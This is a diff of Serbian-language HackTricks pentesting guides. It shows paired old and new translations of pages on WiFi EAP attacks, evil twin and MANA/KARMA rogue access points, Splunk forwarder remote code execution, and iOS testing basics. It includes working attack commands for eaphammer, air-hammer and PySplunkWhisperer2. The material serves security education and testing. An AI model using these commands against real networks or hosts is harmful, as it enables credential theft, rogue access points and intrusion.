- Pruža uzajamnu autentifikaciju kroz enkriptovani tunel, zajedno sa metodom za dobijanje dinamičkih WEP ključeva po korisniku i po sesiji. Zahteva samo serverske sertifikate, dok klijenti koriste akreditive.
5. **PEAP (Protected Extensible Authentication Protocol)**:
- Funkcioniše slično kao EAP stvaranjem TLS tunela za zaštićenu komunikaciju. Omogućava korišćenje slabijih autentifikacionih protokola iznad EAP-a zbog zaštite koju tunel pruža.
- Funkcioniše slično kao EAP stvarajući TLS tunel za zaštićenu komunikaciju. Omogućava korišćenje slabijih autentifikacionih protokola iznad EAP-a zbog zaštite koju tunel pruža.
- **PEAP-MSCHAPv2**: Često se naziva PEAP, kombinuje ranjivi MSCHAPv2 izazov/odgovor mehanizam sa zaštitnim TLS tunelom.
- **PEAP-EAP-TLS (ili PEAP-TLS)**: Slično EAP-TLS, ali inicira TLS tunel pre razmene sertifikata, nudeći dodatni sloj sigurnosti.
- **PEAP-EAP-TLS (ili PEAP-TLS)**: Slično EAP-TLS, ali započinje TLS tunel pre razmene sertifikata, nudeći dodatni sloj sigurnosti.
Možete pronaći više informacija o ovim metodama autentifikacije [ovde](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) i [ovde](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
### Username Capture
### Captura korisničkog imena
Čitajući [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), izgleda da ako koristite **EAP**, **"Identitet"** **poruke** moraju biti **podržane**, a **korisničko ime** će biti poslato u **čistom** obliku u **"Response Identity"** porukama.
Čitajući [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), izgleda da ako koristite **EAP**, **"Identitet"** **poruke** moraju biti **podržane**, a **korisničko ime** će biti poslato u **čistom** obliku u **"Odgovoru na identitet"** poruke.
Čak i korišćenjem jedne od najsigurnijih metoda autentifikacije: **PEAP-EAP-TLS**, moguće je **uhvatiti korisničko ime poslato u EAP protokolu**. Da biste to uradili, **uhvatite komunikaciju autentifikacije** (pokrenite `airodump-ng` unutar kanala i `wireshark` na istom interfejsu) i filtrirajte pakete po `eapol`.\
Unutar paketa "**Response, Identity**", **korisničko ime** klijenta će se pojaviti.
Unutar paketa "**Odgovor, Identitet**", **korisničko ime** klijenta će se pojaviti.
![](<../../images/image (850).png>)
### Anonymous Identities
### Anonimni identiteti
Skrivenje identiteta podržavaju i EAP-PEAP i EAP-TTLS. U kontekstu WiFi mreže, EAP-Identitet zahtev obično pokreće pristupna tačka (AP) tokom procesa asocijacije. Da bi se osigurala zaštita anonimnosti korisnika, odgovor EAP klijenta na korisničkom uređaju sadrži samo osnovne informacije potrebne za inicijalni RADIUS server da obradi zahtev. Ova koncepcija je ilustrovana kroz sledeće scenarije:
Skrivenje identiteta podržavaju i EAP-PEAP i EAP-TTLS. U kontekstu WiFi mreže, EAP-Identitet zahtev obično pokreće pristupna tačka (AP) tokom procesa asocijacije. Da bi se osigurala zaštita anonimnosti korisnika, odgovor EAP klijenta na korisnikovom uređaju sadrži samo osnovne informacije potrebne za inicijalni RADIUS server da obradi zahtev. Ova koncepcija je ilustrovana kroz sledeće scenarije:
- EAP-Identitet = anonimno
- U ovom scenariju, svi korisnici koriste pseudonim "anonimno" kao svoj identifikator korisnika. Inicijalni RADIUS server funkcioniše kao EAP-PEAP ili EAP-TTLS server, odgovoran za upravljanje serverskom stranom PEAP ili TTLS protokola. Unutrašnja (zaštićena) metoda autentifikacije se zatim ili obrađuje lokalno ili delegira na udaljeni (domaći) RADIUS server.
- EAP-Identitet = anonimno@realm_x
- U ovoj situaciji, korisnici iz različitih domena skrivaju svoje identitete dok ukazuju na svoje odgovarajuće domene. Ovo omogućava inicijalnom RADIUS serveru da posreduje EAP-PEAP ili EAP-TTLS zahteve ka RADIUS serverima u njihovim domaćim domenima, koji deluju kao PEAP ili TTLS server. Inicijalni RADIUS server funkcioniše isključivo kao RADIUS relani čvor.
- U ovoj situaciji, korisnici iz različitih domena skrivaju svoje identitete dok ukazuju na svoje odgovarajuće domene. Ovo omogućava inicijalnom RADIUS serveru da proksi EAP-PEAP ili EAP-TTLS zahteve ka RADIUS serverima u njihovim domaćim domenima, koji deluju kao PEAP ili TTLS server. Inicijalni RADIUS server funkcioniše isključivo kao RADIUS relejna tačka.
- Alternativno, inicijalni RADIUS server može funkcionisati kao EAP-PEAP ili EAP-TTLS server i ili obraditi zaštićenu metodu autentifikacije ili je proslediti drugom serveru. Ova opcija olakšava konfiguraciju različitih politika za različite domene.
U EAP-PEAP, kada se TLS tunel uspostavi između PEAP servera i PEAP klijenta, PEAP server pokreće EAP-Identitet zahtev i šalje ga kroz TLS tunel. Klijent odgovara na ovaj drugi EAP-Identitet zahtev slanjem EAP-Identitet odgovora koji sadrži pravi identitet korisnika kroz enkriptovani tunel. Ovaj pristup efikasno sprečava otkrivanje stvarnog identiteta korisnika bilo kome ko prisluškuje 802.11 saobraćaj.
EAP-TTLS prati malo drugačiju proceduru. Sa EAP-TTLS, klijent obično autentifikuje koristeći PAP ili CHAP, zaštićen TLS tunelom. U ovom slučaju, klijent uključuje atribut User-Name i ili atribut Password ili CHAP-Password u inicijalnoj TLS poruci poslatog nakon uspostavljanja tunela.
Bez obzira na odabrani protokol, PEAP/TTLS server saznaje pravi identitet korisnika nakon što je TLS tunel uspostavljen. Pravi identitet može biti predstavljen kao user@realm ili jednostavno user. Ako je PEAP/TTLS server takođe odgovoran za autentifikaciju korisnika, sada poseduje identitet korisnika i nastavlja sa metodom autentifikacije zaštićenom TLS tunelom. Alternativno, PEAP/TTLS server može proslediti novi RADIUS zahtev ka domaćem RADIUS serveru korisnika. Ovaj novi RADIUS zahtev izostavlja PEAP ili TTLS protokol sloj. U slučajevima kada je zaštićena metoda autentifikacije EAP, unutrašnje EAP poruke se šalju domaćem RADIUS serveru bez EAP-PEAP ili EAP-TTLS omotača. Atribut User-Name u odlaznoj RADIUS poruci sadrži pravi identitet korisnika, zamenjujući anonimni User-Name iz dolaznog RADIUS zahteva. Kada je zaštićena metoda autentifikacije PAP ili CHAP (podržana samo od strane TTLS), atribut User-Name i drugi atributi autentifikacije izvučeni iz TLS tereta se zamenjuju u odlaznoj RADIUS poruci, zamenjujući anonimni User-Name i TTLS EAP-Message atribute pronađene u dolaznom RADIUS zahtevu.
Bez obzira na odabrani protokol, PEAP/TTLS server saznaje pravi identitet korisnika nakon što je TLS tunel uspostavljen. Pravi identitet može biti predstavljen kao user@realm ili jednostavno user. Ako je PEAP/TTLS server takođe odgovoran za autentifikaciju korisnika, sada poseduje identitet korisnika i nastavlja sa metodom autentifikacije zaštićenom TLS tunelom. Alternativno, PEAP/TTLS server može proslediti novi RADIUS zahtev ka domaćem RADIUS serveru korisnika. Ovaj novi RADIUS zahtev izostavlja PEAP ili TTLS protokol. U slučajevima kada je zaštićena metoda autentifikacije EAP, unutrašnje EAP poruke se šalju domaćem RADIUS serveru bez EAP-PEAP ili EAP-TTLS omotača. Atribut User-Name u odlaznoj RADIUS poruci sadrži pravi identitet korisnika, zamenjujući anonimni User-Name iz dolaznog RADIUS zahteva. Kada je zaštićena metoda autentifikacije PAP ili CHAP (podržana samo od strane TTLS), atribut User-Name i drugi atributi autentifikacije izvučeni iz TLS tereta se zamenjuju u odlaznoj RADIUS poruci, zamenjujući anonimni User-Name i TTLS EAP-Message atribute pronađene u dolaznom RADIUS zahtevu.
Za više informacija pogledajte [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
Za više informacija proverite [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
### EAP-Bruteforce (password spray)
### EAP-Bruteforce (napad na lozinke)
Ako se očekuje da klijent koristi **korisničko ime i lozinku** (primetite da **EAP-TLS neće biti važeći** u ovom slučaju), onda možete pokušati da dobijete **listu** **korisničkih imena** (vidite sledeći deo) i **lozinki** i pokušate da **bruteforce** pristup koristeći [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
Ako se očekuje da klijent koristi **korisničko ime i lozinku** (primetite da **EAP-TLS neće biti validan** u ovom slučaju), onda možete pokušati da dobijete **listu** **korisničkih imena** (vidite sledeći deo) i **lozinki** i pokušate da **bruteforce** pristup koristeći [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
@ -416,15 +416,15 @@ Možete takođe izvršiti ovaj napad koristeći `eaphammer`:
### Pasivno skeniranje
- AP-ovi periodično emituju beacon okvire, najavljujući svoje prisustvo i karakteristike, uključujući ESSID AP-a osim ako emitovanje nije onemogućeno.
- Tokom pasivnog skeniranja, stanice slušaju beacon okvire. Ako se ESSID beacona poklapa sa stavkom u PNL-u stanice, stanica se može automatski povezati na taj AP.
- Poznavanje PNL-a uređaja omogućava potencijalnu eksploataciju oponašanjem ESSID-a poznate mreže, obmanjujući uređaj da se poveže na lažni AP.
- AP-ovi periodično emituju beacon okvire, najavljujući svoje prisustvo i karakteristike, uključujući ESSID AP-a, osim ako emitovanje nije onemogućeno.
- Tokom pasivnog skeniranja, stanice slušaju beacon okvire. Ako se ESSID beacona poklapa sa stavkom u PNL stanice, stanica se može automatski povezati na taj AP.
- Poznavanje PNL uređaja omogućava potencijalnu eksploataciju oponašanjem ESSID-a poznate mreže, obmanjujući uređaj da se poveže na lažni AP.
### Aktivno ispitivanje
- Aktivno ispitivanje uključuje slanje zahteva za ispitivanje od strane stanica kako bi otkrile obližnje AP-ove i njihove karakteristike.
- Usmereni zahtevi za ispitivanje ciljaju određeni ESSID, pomažući u otkrivanju da li je određena mreža u dometu, čak i ako je skrivena mreža.
- Emitovani zahtevi za ispitivanje imaju prazan SSID polje i šalju se svim obližnjim AP-ovima, omogućavajući stanici da proveri bilo koju preferiranu mrežu bez otkrivanja sadržaja svog PNL-a.
- Emitovani zahtevi za ispitivanje imaju prazan SSID polje i šalju se svim obližnjim AP-ovima, omogućavajući stanici da proveri bilo koju preferiranu mrežu bez otkrivanja sadržaja svoje PNL.
## Jednostavan AP sa preusmeravanjem na Internet
@ -448,7 +448,7 @@ log-queries
log-dhcp
listen-address=127.0.0.1
```
Zatim **postavite IP adrese** i **rute**:
Zatim **postavite IP adrese** i **puteve**:
```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
@ -496,9 +496,9 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
Napad zlog blizanca koristi način na koji WiFi klijenti prepoznaju mreže, prvenstveno oslanjajući se na ime mreže (ESSID) bez potrebe da bazna stanica (pristupna tačka) autentifikuje sebe klijentu. Ključne tačke uključuju:
- **Teškoće u Diferencijaciji**: Uređaji se bore da razlikuju legitimne i zle pristupne tačke kada dele isto ESSID i tip enkripcije. Mreže u stvarnom svetu često koriste više pristupnih tačaka sa istim ESSID-om kako bi neprimetno proširile pokrivenost.
- **Roaming Klijenata i Manipulacija Povezivanjem**: 802.11 protokol omogućava uređajima da se kreću između pristupnih tačaka unutar iste ESS. Napadači mogu iskoristiti ovo tako što će namamiti uređaj da se odvoji od svoje trenutne bazne stanice i poveže se sa zlom. To se može postići nudeći jači signal ili ometajući vezu sa legitimnom pristupnom tačkom putem metoda kao što su deautentifikacijski paketi ili ometanje.
- **Izazovi u Izvršenju**: Uspešno izvršavanje napada zlog blizanca u okruženjima sa više, dobro postavljenih pristupnih tačaka može biti izazovno. Deautentifikacija jedne legitimne pristupne tačke često rezultira povezivanjem uređaja sa drugom legitimnom pristupnom tačkom, osim ako napadač ne može deautentifikovati sve obližnje pristupne tačke ili strateški postaviti zlu pristupnu tačku.
- **Teškoće u Diferencijaciji**: Uređaji se bore da razlikuju legitimne i lažne pristupne tačke kada dele isto ESSID i tip enkripcije. Mreže u stvarnom svetu često koriste više pristupnih tačaka sa istim ESSID-om kako bi neprimetno proširile pokrivenost.
- **Roaming Klijenata i Manipulacija Povezivanjem**: 802.11 protokol omogućava uređajima da se kreću između pristupnih tačaka unutar iste ESS. Napadači mogu iskoristiti ovo tako što će namamiti uređaj da se disconectuje sa svoje trenutne bazne stanice i poveže se sa lažnom. Ovo se može postići nudeći jači signal ili ometajući vezu sa legitimnom pristupnom tačkom putem metoda kao što su deautentifikacijski paketi ili ometanje.
- **Izazovi u Izvršenju**: Uspešno izvršavanje napada zlog blizanca u okruženjima sa više, dobro postavljenih pristupnih tačaka može biti izazovno. Deautentifikacija jedne legitimne pristupne tačke često rezultira time da se uređaj povezuje sa drugom legitimnom pristupnom tačkom, osim ako napadač ne može deautentifikovati sve obližnje pristupne tačke ili strateški postaviti lažnu pristupnu tačku.
Možete kreirati vrlo osnovni Open Evil Twin (bez mogućnosti usmeravanja saobraćaja na Internet) tako što ćete:
```bash
@ -508,7 +508,7 @@ Možete takođe kreirati Evil Twin koristeći **eaphammer** (imajte na umu da in
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
Ili korišćenjem Airgeddon-a: `Options: 5,6,7,8,9 (unutar menija za napad Evil Twin).`
Ili korišćenjem Airgeddon-a: `Options: 5,6,7,8,9 (unutar menija za Evil Twin napad).`
![](<../../images/image (1088).png>)
@ -518,13 +518,13 @@ _Neki OS i AV će upozoriti korisnika da je povezivanje na Open mrežu opasno...
### WPA/WPA2 Evil Twin
Možete kreirati **Evil Twin koristeći WPA/2** i ako su uređaji konfigurisani da se povežu na taj SSID sa WPA/2, pokušaće da se povežu. U svakom slučaju, **da biste završili 4-way-handshake** takođe morate **znati** **lozinku** koju će klijent koristiti. Ako je **ne znate**, **povezivanje neće biti završeno**.
Možete kreirati **Evil Twin koristeći WPA/2** i ako su uređaji konfigurisani da se povežu na taj SSID sa WPA/2, pokušaće da se povežu. U svakom slučaju, **da biste završili 4-way-handshake** takođe morate **znati** **lozinku** koju će klijent koristiti. Ako je **ne znate**, **veza neće biti završena**.
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### Enterprise Evil Twin
Da biste razumeli ovaj napad, preporučujem da prvo pročitate kratak [WPA Enterprise objašnjenje](#wpa-enterprise-mgt).
Da biste razumeli ove napade, preporučujem da prvo pročitate kratak [WPA Enterprise objašnjenje](#wpa-enterprise-mgt).
**Korišćenje hostapd-wpe**
@ -549,7 +549,7 @@ Podrazumevano, EAPHammer predlaže ove metode autentifikacije (primetite GTC kao
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
Ovo je podrazumevana metodologija za izbegavanje dugih vremena povezivanja. Međutim, takođe možete odrediti serveru metode autentifikacije od najslabije do najjače:
Ovo je podrazumevana metodologija za izbegavanje dugih vremena povezivanja. Međutim, takođe možete odrediti da server autentifikacione metode budu od najslabije do najjače:
```
--negotiate weakest
```
@ -557,7 +557,7 @@ Ili možete koristiti i:
- `--negotiate gtc-downgrade` za korišćenje veoma efikasne GTC downgrade implementacije (plaintext lozinke)
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` da ručno odredite ponuđene metode (ponuditi iste metode autentifikacije u istom redosledu kao organizacija će napad učiniti mnogo teže uočljivim).
- [Pronađite više informacija na viki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
- [Pronađite više informacija u wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Korišćenje Airgeddon-a**
@ -568,7 +568,7 @@ Ili možete koristiti i:
### Debagovanje PEAP i EAP-TTLS TLS tunela u Evil Twins napadima
_Ova metoda je testirana na PEAP konekciji, ali pošto dekriptujem proizvoljni TLS tunel, ovo bi takođe trebalo da funkcioniše sa EAP-TTLS_
_Ova metoda je testirana na PEAP konekciji, ali pošto dekriptujem proizvoljan TLS tunel, ovo bi takođe trebalo da funkcioniše sa EAP-TTLS_
Unutar **konfiguracije** _hostapd-wpe_ **komentarišite** liniju koja sadrži _**dh_file**_ (od `dh_file=/etc/hostapd-wpe/certs/dh` do `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Ovo će omogućiti `hostapd-wpe` da **razmenjuje ključeve koristeći RSA** umesto DH, tako da ćete moći da **dekriptujete** saobraćaj kasnije **znajući privatni ključ servera**.
@ -587,14 +587,14 @@ I pogledajte novi **"Decrypted TLS" tab**:
## KARMA, MANA, Loud MANA i napad poznatih beacon-a
### ESSID i MAC crne/belih lista
### ESSID i MAC crne/bele liste
Različite vrste lista filtera za pristup medijima (MFACLs) i njihovi odgovarajući režimi i efekti na ponašanje lažnog pristupnog tačke (AP):
1. **MAC-bazirana bela lista**:
- Lažni AP će odgovarati samo na probe zahteve sa uređaja navedenih na beloj listi, ostajući nevidljiv za sve druge koji nisu navedeni.
- Lažni AP će odgovarati samo na probe zahteve od uređaja navedenih u beloj listi, ostajući nevidljiv za sve druge koji nisu navedeni.
2. **MAC-bazirana crna lista**:
- Lažni AP će ignorisati probe zahteve sa uređaja na crnoj listi, efektivno čineći lažni AP nevidljivim za te specifične uređaje.
- Lažni AP će ignorisati probe zahteve od uređaja na crnoj listi, efektivno čineći lažni AP nevidljivim za te specifične uređaje.
3. **SSID-bazirana bela lista**:
- Lažni AP će odgovarati na probe zahteve samo za specifične ESSID-e navedene, čineći ga nevidljivim za uređaje čiji spiskovi preferiranih mreža (PNL) ne sadrže te ESSID-e.
4. **SSID-bazirana crna lista**:
@ -624,29 +624,29 @@ Ova metoda omogućava **napadaču da kreira zloćudnu pristupnu tačku (AP) koja
### MANA
Zatim, **uređaji su počeli da ignorišu neprošene mrežne odgovore**, smanjujući efikasnost originalnog karma napada. Međutim, nova metoda, poznata kao **MANA napad**, uvedena je od strane Iana de Villiersa i Dominica Whitea. Ova metoda uključuje lažnu AP **koja hvata Liste Preferiranih Mreža (PNL) sa uređaja odgovarajući na njihove emitovane probe zahteve** sa imenima mreža (SSID) koje su prethodno tražili uređaji. Ovaj sofisticirani napad zaobilazi zaštitu protiv originalnog karma napada iskorišćavajući način na koji uređaji pamte i prioritetizuju poznate mreže.
Zatim, **uređaji su počeli da ignorišu nesolidne mrežne odgovore**, smanjujući efikasnost originalnog karma napada. Međutim, nova metoda, poznata kao **MANA napad**, uvedena je od strane Iana de Villiersa i Dominica Whitea. Ova metoda uključuje lažnu AP **koja hvata Liste Preferiranih Mreža (PNL) sa uređaja odgovarajući na njihove emitovane probe zahteve** sa imenima mreža (SSID) koje su prethodno bile solidne za uređaje. Ovaj sofisticirani napad zaobilazi zaštite protiv originalnog karma napada iskorišćavajući način na koji uređaji pamte i prioritetizuju poznate mreže.
MANA napad funkcioniše tako što prati kako usmerene tako i emitovane probe zahteve sa uređaja. Za usmerene zahteve, beleži MAC adresu uređaja i traženo ime mreže, dodajući ove informacije na listu. Kada se primi emitovani zahtev, AP odgovara informacijama koje odgovaraju bilo kojoj od mreža na listi uređaja, mameći uređaj da se poveže na lažnu AP.
MANA napad funkcioniše tako što prati kako usmerene tako i emitovane probe zahteve sa uređaja. Za usmerene zahteve, beleži MAC adresu uređaja i traženo ime mreže, dodajući ove informacije na listu. Kada se primi emitovani zahtev, AP odgovara informacijama koje odgovaraju bilo kojoj od mreža na listi uređaja, podstičući uređaj da se poveže na lažnu AP.
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### Loud MANA
**Loud MANA napad** je napredna strategija za situacije kada uređaji ne koriste usmereno ispitivanje ili kada su njihovi spiskovi preferiranih mreža (PNL) nepoznati napadaču. Ova strategija se zasniva na principu da **uređaji u istoj oblasti verovatno dele neka imena mreža u svojim PNL-ima**. Umesto da odgovara selektivno, ovaj napad emituje odgovore na ispitivanje za svako ime mreže (ESSID) pronađeno u kombinovanim PNL-ima svih posmatranih uređaja. Ovaj široki pristup povećava šanse da uređaj prepozna poznatu mrežu i pokuša da se poveže na lažni pristupni tačku (AP).
**Loud MANA napad** je napredna strategija za situacije kada uređaji ne koriste usmereno ispitivanje ili kada su njihovi spiskovi preferiranih mreža (PNL) nepoznati napadaču. Operiše na principu da **uređaji u istoj oblasti verovatno dele neka imena mreža u svojim PNL-ima**. Umesto da odgovara selektivno, ovaj napad emituje odgovore na ispitivanje za svako ime mreže (ESSID) pronađeno u kombinovanim PNL-ima svih posmatranih uređaja. Ovaj široki pristup povećava šanse da uređaj prepozna poznatu mrežu i pokuša da se poveže na lažni pristupni tačku (AP).
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Known Beacon attack
Kada **Loud MANA attack** možda nije dovoljan, **Known Beacon attack** predstavlja drugi pristup. Ova metoda **brute-forces proces povezivanja simulirajući AP koji odgovara na bilo koje ime mreže, prolazeći kroz listu potencijalnih ESSID-a** dobijenih iz rečnika. Ovo simulira prisustvo brojnih mreža, nadajući se da će se poklopiti sa ESSID-om unutar PNL-a žrtve, što izaziva pokušaj povezivanja sa lažnim AP-om. Napad se može pojačati kombinovanjem sa `--loud` opcijom za agresivniji pokušaj hvatanja uređaja.
Kada **Loud MANA attack** možda nije dovoljan, **Known Beacon attack** predstavlja drugi pristup. Ova metoda **brute-forces proces povezivanja simulirajući AP koji odgovara na bilo koje ime mreže, prolazeći kroz listu potencijalnih ESSID-a** izvedenih iz rečnika. Ovo simulira prisustvo brojnih mreža, nadajući se da će se poklopiti sa ESSID-om unutar PNL-a žrtve, podstičući pokušaj povezivanja sa lažnim AP-om. Napad se može pojačati kombinovanjem sa `--loud` opcijom za agresivniji pokušaj hvatanja uređaja.
Eaphammer je implementirao ovaj napad kao MANA napad gde su svi ESSID-i unutar liste aktivni (takođe možete kombinovati ovo sa `--loud` da biste stvorili Loud MANA + Known beacons napad):
Eaphammer je implementirao ovaj napad kao MANA napad gde su svi ESSID-i unutar liste aktivni (takođe možete kombinovati ovo sa `--loud` da biste stvorili Loud MANA + Known beacons attack):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Poznati Beacon Burst napad**
**Poznati Beacon Burst napad** uključuje **brzo emitovanje beacon okvira za svaki ESSID naveden u datoteci**. Ovo stvara gustu sredinu lažnih mreža, što značajno povećava verovatnoću da se uređaji povežu na rogue AP, posebno kada se kombinuje sa MANA napadom. Ova tehnika koristi brzinu i obim da bi preplavila mehanizme izbora mreže uređaja.
**Poznati Beacon Burst napad** uključuje **brzo emitovanje beacon okvira za svaki ESSID naveden u datoteci**. Ovo stvara gustu sredinu lažnih mreža, što značajno povećava verovatnoću da se uređaji povežu na rogue AP, posebno kada se kombinuje sa MANA napadom. Ova tehnika koristi brzinu i obim da bi nadmašila mehanizme izbora mreže uređaja.
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@ -657,7 +657,7 @@ Eaphammer je implementirao ovaj napad kao MANA napad gde su svi ESSID-i unutar l
```
## Wi-Fi Direct
**Wi-Fi Direct** je protokol koji omogućava uređajima da se direktno povežu jedni s drugima koristeći Wi-Fi bez potrebe za tradicionalnom bežičnom pristupnom tačkom. Ova mogućnost je integrisana u razne uređaje Interneta stvari (IoT), kao što su štampači i televizori, olakšavajući direktnu komunikaciju između uređaja. Značajna karakteristika Wi-Fi Direct-a je da jedan uređaj preuzima ulogu pristupne tačke, poznate kao vlasnik grupe, kako bi upravljao vezom.
**Wi-Fi Direct** je protokol koji omogućava uređajima da se direktno povežu jedni s drugima koristeći Wi-Fi bez potrebe za tradicionalnom bežičnom pristupnom tačkom. Ova sposobnost je integrisana u razne uređaje Interneta stvari (IoT), kao što su štampači i televizori, olakšavajući direktnu komunikaciju između uređaja. Značajna karakteristika Wi-Fi Direct-a je da jedan uređaj preuzima ulogu pristupne tačke, poznate kao vlasnik grupe, kako bi upravljao vezom.
Bezbednost za Wi-Fi Direct veze se uspostavlja putem **Wi-Fi Protected Setup (WPS)**, koji podržava nekoliko metoda za sigurno uparivanje, uključujući:
@ -665,11 +665,11 @@ Bezbednost za Wi-Fi Direct veze se uspostavlja putem **Wi-Fi Protected Setup (WP
- **PIN unos**
- **Near-Field Communication (NFC)**
Ove metode, posebno unos PIN-a, su podložne istim ranjivostima kao WPS u tradicionalnim Wi-Fi mrežama, što ih čini metama za slične napade.
Ove metode, posebno unos PIN-a, su podložne istim ranjivostima kao WPS u tradicionalnim Wi-Fi mrežama, što ih čini metama za slične vektore napada.
### EvilDirect Hijacking
**EvilDirect Hijacking** je napad specifičan za Wi-Fi Direct. Oponaša koncept napada Evil Twin, ali cilja Wi-Fi Direct veze. U ovom scenariju, napadač se pretvara da je legitimni vlasnik grupe s ciljem da prevari uređaje da se povežu na zludni entitet. Ova metoda se može izvršiti korišćenjem alata kao što je `airbase-ng` tako što se specificira kanal, ESSID i MAC adresa oponašanog uređaja:
**EvilDirect Hijacking** je napad specifičan za Wi-Fi Direct. Oponaša koncept napada Evil Twin, ali cilja Wi-Fi Direct veze. U ovom scenariju, napadač se pretvara da je legitimni vlasnik grupe s ciljem da prevari uređaje da se povežu na zlu entitet. Ova metoda se može izvršiti korišćenjem alata kao što je `airbase-ng` tako što se specificira kanal, ESSID i MAC adresa oponašanog uređaja:
## References

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Ako **enumerišete** mašinu **interno** ili **eksterno** i pronađete **Splunk koji radi** (port 8090), ako srećom znate neke **validne kredencijale** možete **iskoristiti Splunk servis** da **izvršite shell** kao korisnik koji pokreće Splunk. Ako ga pokreće root, možete eskalirati privilegije na root.
Ako **enumerišete** mašinu **interno** ili **eksterno** i pronađete da **Splunk radi** (port 8090), ako srećom znate neke **validne kredencijale**, možete **iskoristiti Splunk servis** da **izvršite shell** kao korisnik koji pokreće Splunk. Ako ga pokreće root, možete eskalirati privilegije na root.
Takođe, ako ste **već root i Splunk servis ne sluša samo na localhost**, možete **ukrasti** **datoteku** sa **lozinkama** **iz** Splunk servisa i **provaliti** lozinke, ili **dodati nove** kredencijale. I održati persistenciju na hostu.
@ -10,7 +10,7 @@ Na prvoj slici ispod možete videti kako izgleda Splunkd web stranica.
## Pregled Eksploatacije Splunk Universal Forwarder Agenta
Za više detalja pogledajte post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Ovo je samo sažetak:
Za dalje detalje proverite post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Ovo je samo sažetak:
**Pregled Eksploatacije:**
Eksploatacija koja cilja Splunk Universal Forwarder Agenta (UF) omogućava napadačima sa lozinkom agenta da izvrše proizvoljan kod na sistemima koji pokreću agenta, potencijalno kompromitujući celu mrežu.
@ -19,7 +19,7 @@ Eksploatacija koja cilja Splunk Universal Forwarder Agenta (UF) omogućava napad
- UF agent ne validira dolazne konekcije ili autentičnost koda, što ga čini ranjivim na neovlašćeno izvršavanje koda.
- Uobičajene metode sticanja lozinki uključuju pronalaženje u mrežnim direktorijumima, deljenju datoteka ili internim dokumentima.
- Uspešna eksploatacija može dovesti do pristupa na SISTEM ili root nivou na kompromitovanim hostovima, eksfiltraciju podataka i dalju infiltraciju u mrežu.
- Uspešna eksploatacija može dovesti do pristupa na SISTEM ili root nivou na kompromitovanim hostovima, eksfiltraciji podataka i daljoj infiltraciji u mrežu.
**Izvršenje Eksploatacije:**
@ -39,9 +39,9 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
```
**Iskoristive javne eksploatacije:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
## Zloupotreba Splunk upita

View File

@ -26,18 +26,18 @@ Tokom testiranja **biće predložene nekoliko operacija** (povezivanje sa uređa
basic-ios-testing-operations.md
{{#endref}}
> [!NOTE]
> Za sledeće korake **aplikacija treba da bude instalirana** na uređaju i treba da je već preuzeta **IPA datoteka** aplikacije.\
> [!TIP]
> Za sledeće korake **aplikacija treba da bude instalirana** na uređaju i treba da je već preuzela **IPA datoteku** aplikacije.\
> Pročitajte stranicu [Basic iOS Testing Operations](basic-ios-testing-operations.md) da biste saznali kako to da uradite.
### Osnovna Staticka Analiza
Neki zanimljivi iOS - IPA dekompilatori:
Neki zanimljivi dekompilatori za iOS - IPA datoteke:
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
Preporučuje se korišćenje alata [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) za izvođenje automatske Staticke Analize IPA datoteke.
Preporučuje se korišćenje alata [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) za automatsku statičku analizu IPA datoteke.
Identifikacija **zaštita prisutnih u binarnom kodu**:
